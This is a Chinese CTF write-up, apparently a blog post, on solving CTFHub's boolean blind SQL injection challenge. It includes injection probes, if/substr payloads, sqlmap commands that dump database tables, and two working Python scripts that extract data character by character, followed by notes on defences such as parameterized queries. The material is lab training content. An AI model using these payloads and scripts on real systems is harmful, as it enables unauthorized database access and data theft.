CTFHUB-技能树-Web题-SQL注入-布尔盲注

本文介绍了布尔盲注攻击方法,涉及MySQL知识点,如unionselect、database()函数、version()等,展示了如何通过SQL注入来判断注入点、检测数据库名长度和猜测数据库名,以及使用python脚本和sqlmap工具进行攻击和数据提取的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

技能树-Web题-SQL注入-布尔盲注

布尔盲注
需要了解mysql的知识点:
union select 联合查询,联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如:mysql 1.2.3, mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接,形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时,可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意,只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串,从第N个字符开始,截取M个字符
判断注入点

利用返回yes或no进行判断注入

输入1 (也可输入1 and 1=1)返回 query_success

在这里插入图片描述

输入1’ (也可输入1 and 1=2)返回query_error
在这里插入图片描述

说明存在注入点

判断数据库名长度

发现1 and length(database()) >=1 正确
1 and length(database()) >=5 错误
1 and length(database()) >=4正确

所以判断当前数据库长度为4

猜数据库名

由于返回值是正确或错误,寻常and 后面布尔盲注语句不好使,因为它们是根据查询结果为空来判断。
这时候想到用if语句

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

于是要确定数据库名字,利用语句:

if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables))
if(substr(database(),1,1)='a',1,(select table_name from information_schema.tables))
1 and substr(database(),1,1)='s'
1 and substr(database(),1,1)='a'

要一个一个判断有点难,可以用python脚本

也可以利用sqlmap来跑

sqlmap

爆表

python sqlmap.py -u http://challenge-7d72ad3c949e8282.sandbox.ctfhub.com:10080/?id=1 --dbs

找flag

python sqlmap.py -u http://challenge-7d72ad3c949e8282.sandbox.ctfhub.com:10080/?id=1 -D sqli --tables 

然后脱库

python sqlmap.py -u http://challenge-7d72ad3c949e8282.sandbox.ctfhub.com:10080/?id=1 -D sqli -T flag --columns --dump
python代码
import requests
import time

urlOPEN = 'http://challenge-80bbba4d1e9ce716.sandbox.ctfhub.com:10080/?id='
starOperatorTime = [] 
mark = 'query_success'

def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
			# print(url+'%23')
			r = requests.get(url)
			if mark in r.text:
				name = name+i
				

				print(name)
				
				break
	print('database_name:',name)

	
database_name()

def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
			    # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)

#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))

def column_name():
    list = []
    for k in range(0,3): #判断表里最多有4个字段
        name=''
        for j in range(1,9): #判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)

column_name()

def get_data():
        name=''
        for j in range(1,50): #判断一个值最多有51个字符组成
            for i in range(48,126):
                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+chr(i)
                    print(name)
                    break
        print ('value:',name)
    
get_data()

在这里插入图片描述
在这里插入图片描述

第二个

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import sys
session=requests.session()
url = "http://challenge-230a3ccdd5ccd1a7.sandbox.ctfhub.com:10800/?id="
name = ""

# for k in range(1,10):
#     for i in range(1,10):
#         print(i)
#         for j in range(31,128):
#             j = (128+31) -j
#             str_ascii=chr(j)
#             #数据库名
#             #payolad = "if(substr(database(),%s,1) = '%s',1,(select table_name from information_schema.tables))"%(str(i),str(str_ascii))
#             #表名
#             #payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,i,str(str_ascii))
#             #字段名
#             payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str(str_ascii))
#             str_get = session.get(url=url + payolad).text
#             if "query_success" in str_get:
#                 if str_ascii=="+":
#                    sys.exit()
#                 else:
#                     name+=str_ascii
#                     break
#         print(name)

#查询字段内容
for i in range(1,50):
    print(i)
    for j in range(31,128):
        j = (128+31) -j
        str_ascii=chr(j)
        payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str_ascii)
        str_get = session.get(url=url + payolad).text
        if "query_success" in str_get:
            if str_ascii == "+":
                sys.exit()
            else:
                name += str_ascii
                break
    print(name)

在这里插入图片描述

### Pikachu项目中的SQL布尔盲注攻击与防御 #### 攻击原理 在Pikachu靶场中,当存在SQL注入漏洞时,攻击者可以利用布尔盲注技术来逐位推断数据库的内容。由于应用程序返回页面的不同响应取决于查询条件真假,这使得攻击者能够通过一系列精心构建的SQL语句逐步获取敏感数据[^1]。 对于布尔盲注而言,在没有错误消息的情况下工作尤其有效。这意味着即使服务器不会显示具体的执行失败原因给客户端查看,只要能区分两种不同状态(如正常加载 vs 页面空白),就可以实施此类攻击[^4]。 #### 实施过程 为了演示如何进行一次简单的布尔盲注: 假设目标字段为`username`,并且已知其长度不超过8个字符,则可以通过如下方式测试每一位是否匹配特定ASCII码值: ```sql AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1), position, 1)) > guess_value -- ``` 这里的关键在于调整`position`(表示正在猜测的位置) 和 `guess_value`(尝试不同的数值直到找到符合条件的结果),并观察应用层面对应的变化情况以判断我们的推测是否正确。 #### 防御策略 针对上述提到的安全隐患,采取适当预防措施至关重要: - **参数化查询**: 使用预编译好的带占位符的SQL模板代替字符串拼接的方式构造最终要发送到DBMS上的命令文本;这样不仅提高了效率还极大增强了安全性[^3]. - **最小权限原则**: 数据库账户应该只授予必要的操作许可,减少潜在危害范围。 - **输入验证/清理**: 对所有来自外部的数据源都做严格的格式校验以及转义处理,阻止恶意代码片段混入正常的业务逻辑之中[^2]. - **启用WAF(Web Application Firewall)**: 可以为Web服务提供额外一层保护屏障,自动识别并拦截可疑请求模式下的访问行为. #### 示例代码展示安全编码实践 采用Python Flask框架为例说明怎样实现更稳健的应用程序接口设计: ```python from flask import request import sqlite3 def get_user_by_id(user_id): conn = sqlite3.connect('example.db') cursor = conn.cursor() # 参数绑定防止SQL注入风险 query = "SELECT * FROM users WHERE id=?" result = cursor.execute(query, (user_id,)) user_data = result.fetchone() conn.close() return user_data if user_data else None ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值